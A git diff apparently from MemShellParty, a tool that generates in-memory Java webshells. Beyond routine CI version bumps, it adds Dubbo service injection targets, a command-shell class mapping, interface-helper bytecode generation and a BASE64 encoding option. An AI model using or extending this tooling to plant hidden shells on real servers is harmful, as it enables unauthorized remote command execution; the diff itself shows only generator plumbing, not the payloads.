uses: docker/login-action@v3
|
uses: docker/login-action@v4
|
||||||
with:
|
with:
|
||||||
registry: docker.io
|
registry: docker.io
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Set up QEMU
|
- name: Set up QEMU
|
||||||
uses: docker/setup-qemu-action@v3
|
uses: docker/setup-qemu-action@v4
|
||||||
- name: Set up Docker Buildx
|
- name: Set up Docker Buildx
|
||||||
uses: docker/setup-buildx-action@v3
|
uses: docker/setup-buildx-action@v4
|
||||||
|
|
||||||
- name: Build and push
|
- name: Build and push
|
||||||
uses: docker/build-push-action@v6
|
uses: docker/build-push-action@v7
|
||||||
with:
|
with:
|
||||||
context: boot
|
context: boot
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
@@ -95,15 +95,15 @@ jobs:
|
|||||||
needs: [ build-jar ]
|
needs: [ build-jar ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v4
|
uses: actions/setup-java@v5
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v6
|
||||||
|
|
||||||
- name: Publish with Gradle
|
- name: Publish with Gradle
|
||||||
env:
|
env:
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ jobs:
|
|||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout code
|
- name: Checkout code
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v6
|
||||||
- name: Build Docker image
|
- name: Build Docker image
|
||||||
run: |
|
run: |
|
||||||
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
||||||
|
|||||||
@@ -15,21 +15,21 @@ jobs:
|
|||||||
name: Docker Push
|
name: Docker Push
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
- name: Login to Docker Hub
|
- name: Login to Docker Hub
|
||||||
uses: docker/login-action@v3
|
uses: docker/login-action@v4
|
||||||
with:
|
with:
|
||||||
registry: docker.io
|
registry: docker.io
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Set up QEMU
|
- name: Set up QEMU
|
||||||
uses: docker/setup-qemu-action@v3
|
uses: docker/setup-qemu-action@v4
|
||||||
- name: Set up Docker Buildx
|
- name: Set up Docker Buildx
|
||||||
uses: docker/setup-buildx-action@v3
|
uses: docker/setup-buildx-action@v4
|
||||||
|
|
||||||
- name: Build and push RedQueen
|
- name: Build and push RedQueen
|
||||||
uses: docker/build-push-action@v6
|
uses: docker/build-push-action@v7
|
||||||
with:
|
with:
|
||||||
context: .
|
context: .
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
|
|||||||
@@ -50,20 +50,20 @@ jobs:
|
|||||||
depend_tasks: ""
|
depend_tasks: ""
|
||||||
- middleware: "struct2"
|
- middleware: "struct2"
|
||||||
depend_tasks: ":vul:vul-struct2:war"
|
depend_tasks: ":vul:vul-struct2:war"
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-22.04
|
||||||
name: ${{ matrix.cases.middleware }}
|
name: ${{ matrix.cases.middleware }}
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v4
|
uses: actions/setup-java@v5
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v6
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
- name: Prepare for Integration Test
|
||||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
|
|||||||
@@ -44,20 +44,20 @@ jobs:
|
|||||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
- middleware: "struct2"
|
- middleware: "struct2"
|
||||||
depend_tasks: ":vul:vul-struct2:war"
|
depend_tasks: ":vul:vul-struct2:war"
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-22.04
|
||||||
name: ${{ matrix.cases.middleware }}
|
name: ${{ matrix.cases.middleware }}
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v4
|
uses: actions/setup-java@v5
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v6
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
- name: Prepare for Integration Test
|
||||||
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
@@ -66,7 +66,7 @@ jobs:
|
|||||||
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
||||||
|
|
||||||
- name: Export Integration Test Summary
|
- name: Export Integration Test Summary
|
||||||
uses: mikepenz/action-junit-report@v5
|
uses: mikepenz/action-junit-report@v6
|
||||||
if: success() || failure()
|
if: success() || failure()
|
||||||
with:
|
with:
|
||||||
report_paths: '**/build/test-results/test/TEST-*.xml'
|
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||||
|
|||||||
@@ -14,7 +14,7 @@ jobs:
|
|||||||
version-without-v: ${{ steps.get_version.outputs.version-without-v }}
|
version-without-v: ${{ steps.get_version.outputs.version-without-v }}
|
||||||
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: Get Version
|
- name: Get Version
|
||||||
id: get_version
|
id: get_version
|
||||||
@@ -36,16 +36,16 @@ jobs:
|
|||||||
name: Build Jar
|
name: Build Jar
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v4
|
uses: actions/setup-java@v5
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v6
|
||||||
|
|
||||||
- name: Setup Node
|
- name: Setup Node
|
||||||
uses: actions/setup-node@v6
|
uses: actions/setup-node@v6
|
||||||
@@ -75,7 +75,7 @@ jobs:
|
|||||||
needs: [ info, build-jar ]
|
needs: [ info, build-jar ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: Download Boot Jar
|
- name: Download Boot Jar
|
||||||
uses: actions/download-artifact@v4
|
uses: actions/download-artifact@v4
|
||||||
@@ -84,26 +84,26 @@ jobs:
|
|||||||
path: boot/build/libs
|
path: boot/build/libs
|
||||||
|
|
||||||
- name: Login to GitHub Container Registry
|
- name: Login to GitHub Container Registry
|
||||||
uses: docker/login-action@v3
|
uses: docker/login-action@v4
|
||||||
with:
|
with:
|
||||||
registry: ghcr.io
|
registry: ghcr.io
|
||||||
username: ${{ github.repository_owner }}
|
username: ${{ github.repository_owner }}
|
||||||
password: ${{ secrets.GITHUB_TOKEN }}
|
password: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Login to Docker Hub
|
- name: Login to Docker Hub
|
||||||
uses: docker/login-action@v3
|
uses: docker/login-action@v4
|
||||||
with:
|
with:
|
||||||
registry: docker.io
|
registry: docker.io
|
||||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
- name: Set up QEMU
|
- name: Set up QEMU
|
||||||
uses: docker/setup-qemu-action@v3
|
uses: docker/setup-qemu-action@v4
|
||||||
- name: Set up Docker Buildx
|
- name: Set up Docker Buildx
|
||||||
uses: docker/setup-buildx-action@v3
|
uses: docker/setup-buildx-action@v4
|
||||||
|
|
||||||
- name: Build and push
|
- name: Build and push
|
||||||
uses: docker/build-push-action@v6
|
uses: docker/build-push-action@v7
|
||||||
with:
|
with:
|
||||||
context: boot
|
context: boot
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
@@ -115,7 +115,7 @@ jobs:
|
|||||||
ghcr.io/reajason/memshell-party:latest
|
ghcr.io/reajason/memshell-party:latest
|
||||||
|
|
||||||
- name: Build and push RedQueen
|
- name: Build and push RedQueen
|
||||||
uses: docker/build-push-action@v6
|
uses: docker/build-push-action@v7
|
||||||
with:
|
with:
|
||||||
context: .
|
context: .
|
||||||
platforms: linux/amd64,linux/arm64
|
platforms: linux/amd64,linux/arm64
|
||||||
@@ -130,15 +130,15 @@ jobs:
|
|||||||
name: Deploy to Maven Central
|
name: Deploy to Maven Central
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v4
|
uses: actions/setup-java@v5
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v6
|
||||||
|
|
||||||
- name: Publish with Gradle
|
- name: Publish with Gradle
|
||||||
env:
|
env:
|
||||||
@@ -156,7 +156,7 @@ jobs:
|
|||||||
permissions:
|
permissions:
|
||||||
contents: write
|
contents: write
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: Download Boot Jar
|
- name: Download Boot Jar
|
||||||
uses: actions/download-artifact@v4
|
uses: actions/download-artifact@v4
|
||||||
|
|||||||
@@ -19,19 +19,19 @@ concurrency:
|
|||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
integration-test:
|
integration-test:
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-22.04
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v4
|
uses: actions/setup-java@v5
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v6
|
||||||
|
|
||||||
- name: Prepare for Integration Test
|
- name: Prepare for Integration Test
|
||||||
if: ${{ inputs.depend_tasks != '' }}
|
if: ${{ inputs.depend_tasks != '' }}
|
||||||
|
|||||||
@@ -17,16 +17,16 @@ jobs:
|
|||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- name: Checkout
|
- name: Checkout
|
||||||
uses: actions/checkout@v4
|
uses: actions/checkout@v6
|
||||||
|
|
||||||
- name: Setup Java
|
- name: Setup Java
|
||||||
uses: actions/setup-java@v4
|
uses: actions/setup-java@v5
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
|
|
||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v6
|
||||||
|
|
||||||
- name: Generator Unit Test with Gradle
|
- name: Generator Unit Test with Gradle
|
||||||
run: ./gradlew :generator:test
|
run: ./gradlew :generator:test
|
||||||
|
|||||||
+1
-1
@@ -6,7 +6,7 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
|||||||
rm -rf vul integration-test tools
|
rm -rf vul integration-test tools
|
||||||
|
|
||||||
# https://hub.docker.com/r/oven/bun
|
# https://hub.docker.com/r/oven/bun
|
||||||
FROM --platform=$BUILDPLATFORM oven/bun:1.3.6 AS frontend
|
FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend
|
||||||
|
|
||||||
ARG ROUTE_ROOT_PATH="/"
|
ARG ROUTE_ROOT_PATH="/"
|
||||||
ARG CONTEXT_PATH=""
|
ARG CONTEXT_PATH=""
|
||||||
|
|||||||
+7
-1
@@ -9,10 +9,16 @@ idea {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
version = "2.5.0"
|
version = "2.7.0"
|
||||||
|
|
||||||
tasks.register("publishAllToMavenCentral") {
|
tasks.register("publishAllToMavenCentral") {
|
||||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||||
dependsOn(":packer:publishToMavenCentral")
|
dependsOn(":packer:publishToMavenCentral")
|
||||||
dependsOn(":generator:publishToMavenCentral")
|
dependsOn(":generator:publishToMavenCentral")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
tasks.register("publishAllToMavenLocal") {
|
||||||
|
dependsOn(":memshell-party-common:publishToMavenLocal")
|
||||||
|
dependsOn(":packer:publishToMavenLocal")
|
||||||
|
dependsOn(":generator:publishToMavenLocal")
|
||||||
|
}
|
||||||
@@ -37,7 +37,10 @@ dependencies {
|
|||||||
implementation(libs.jakarta.servlet.api)
|
implementation(libs.jakarta.servlet.api)
|
||||||
implementation(libs.spring.webmvc)
|
implementation(libs.spring.webmvc)
|
||||||
implementation(libs.spring.webflux)
|
implementation(libs.spring.webflux)
|
||||||
|
implementation(libs.tomcat.embed.core)
|
||||||
implementation(libs.reactor.netty.core)
|
implementation(libs.reactor.netty.core)
|
||||||
|
implementation(libs.alibaba.dubbo)
|
||||||
|
implementation(libs.apache.dubbo)
|
||||||
implementation(libs.jackson.annotations)
|
implementation(libs.jackson.annotations)
|
||||||
implementation(libs.bundles.jna)
|
implementation(libs.bundles.jna)
|
||||||
|
|
||||||
|
|||||||
@@ -21,4 +21,5 @@ public class Server {
|
|||||||
public static final String SpringWebFlux = "SpringWebFlux";
|
public static final String SpringWebFlux = "SpringWebFlux";
|
||||||
public static final String XXLJOB = "XXLJOB";
|
public static final String XXLJOB = "XXLJOB";
|
||||||
public static final String Struct2 = "Struct2";
|
public static final String Struct2 = "Struct2";
|
||||||
|
public static final String Dubbo = "Dubbo";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,9 +1,11 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.asm.ClassInterfaceUtils;
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
|
||||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||||
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
|
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
@@ -15,6 +17,7 @@ import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
|||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.apache.commons.lang3.Strings;
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
@@ -60,20 +63,36 @@ public class MemShellGenerator {
|
|||||||
|
|
||||||
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
injectorConfig.setInjectorClass(injectorClass);
|
if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
|
||||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
|
||||||
injectorConfig.setShellClassBytes(shellBytes);
|
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
|
||||||
|
String interfaceName = packageName + ".I" + simpleName;
|
||||||
|
injectorConfig.setInjectorHelperClassName(interfaceName);
|
||||||
|
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
|
||||||
|
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
|
||||||
|
String urlPattern = injectorConfig.getUrlPattern();
|
||||||
|
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|
||||||
|
|| StringUtils.isBlank(urlPattern)) {
|
||||||
|
injectorConfig.setUrlPattern(interfaceName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|
||||||
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
|
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
|
||||||
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
|
String helperClassName = shellToolConfig.getShellClassName() + "$1";
|
||||||
|
injectorConfig.setInjectorHelperClassName(helperClassName);
|
||||||
|
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
injectorConfig.setInjectorClass(injectorClass);
|
||||||
|
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||||
|
injectorConfig.setShellClassBytes(shellBytes);
|
||||||
|
|
||||||
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
||||||
byte[] injectorBytes = injectorGenerator.generate();
|
byte[] injectorBytes = injectorGenerator.generate();
|
||||||
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||||
.shellClassName(injectorConfig.getInjectorClassName() + "1")
|
.shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
|
||||||
.probeMethod(ProbeMethod.ResponseBody)
|
.probeMethod(ProbeMethod.ResponseBody)
|
||||||
.probeContent(ProbeContent.Bytecode)
|
.probeContent(ProbeContent.Bytecode)
|
||||||
.targetJreVersion(shellConfig.getTargetJreVersion())
|
.targetJreVersion(shellConfig.getTargetJreVersion())
|
||||||
|
|||||||
@@ -47,6 +47,7 @@ public class ServerFactory {
|
|||||||
register(Server.SpringWebFlux, SpringWebFlux::new);
|
register(Server.SpringWebFlux, SpringWebFlux::new);
|
||||||
register(Server.XXLJOB, XxlJob::new);
|
register(Server.XXLJOB, XxlJob::new);
|
||||||
register(Server.Struct2, Struct2::new);
|
register(Server.Struct2, Struct2::new);
|
||||||
|
register(Server.Dubbo, Dubbo::new);
|
||||||
|
|
||||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||||
@@ -162,6 +163,8 @@ public class ServerFactory {
|
|||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||||
.addShellClass(ACTION, CommandStruct2Action.class)
|
.addShellClass(ACTION, CommandStruct2Action.class)
|
||||||
|
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
|
||||||
|
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||||
|
|||||||
@@ -23,7 +23,7 @@ public class ShellToolFactory {
|
|||||||
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
||||||
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
||||||
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
||||||
register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
|
register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
|
||||||
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
||||||
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
||||||
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
||||||
|
|||||||
@@ -50,4 +50,8 @@ public class ShellType {
|
|||||||
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
|
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
|
||||||
|
|
||||||
public static final String ACTION = "Action";
|
public static final String ACTION = "Action";
|
||||||
|
|
||||||
|
public static final String DUBBO_SERVICE = "DubboService";
|
||||||
|
public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
|
||||||
|
public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -91,12 +91,15 @@ public class CommandConfig extends ShellToolConfig {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public enum Encryptor {
|
public enum Encryptor {
|
||||||
RAW, DOUBLE_BASE64;
|
RAW, BASE64, DOUBLE_BASE64;
|
||||||
|
|
||||||
public static Encryptor fromString(String encryptor) {
|
public static Encryptor fromString(String encryptor) {
|
||||||
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
|
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
|
||||||
return DOUBLE_BASE64;
|
return DOUBLE_BASE64;
|
||||||
}
|
}
|
||||||
|
if (encryptor != null && encryptor.equals("BASE64")) {
|
||||||
|
return BASE64;
|
||||||
|
}
|
||||||
return RAW;
|
return RAW;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -27,6 +27,12 @@ public class InjectorConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 辅助类类名
|
||||||
|
*/
|
||||||
|
private String injectorHelperClassName;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 注入访问的地址
|
* 注入访问的地址
|
||||||
*/
|
*/
|
||||||
|
|||||||
+6
-1
@@ -23,6 +23,10 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
|
|
||||||
protected abstract DynamicType.Builder<?> getBuilder();
|
protected abstract DynamicType.Builder<?> getBuilder();
|
||||||
|
|
||||||
|
protected byte[] postProcessBytes(byte[] classBytes) {
|
||||||
|
return classBytes;
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public byte[] getBytes() {
|
public byte[] getBytes() {
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
DynamicType.Builder<?> builder = getBuilder();
|
||||||
@@ -42,7 +46,8 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||||
return ProcessorRegistry.applyByteProcessors(unloaded.getBytes(), shellConfig, shellToolConfig);
|
byte[] bytes = postProcessBytes(unloaded.getBytes());
|
||||||
|
return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+19
@@ -0,0 +1,19 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
|
public class DubboServiceInterfaceHelperGenerator {
|
||||||
|
public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
|
||||||
|
try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
|
||||||
|
.redefine(ShellDubboService.class)
|
||||||
|
.name(interfaceName)
|
||||||
|
.make()) {
|
||||||
|
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+1
-1
@@ -17,11 +17,11 @@ public final class ProcessorRegistry {
|
|||||||
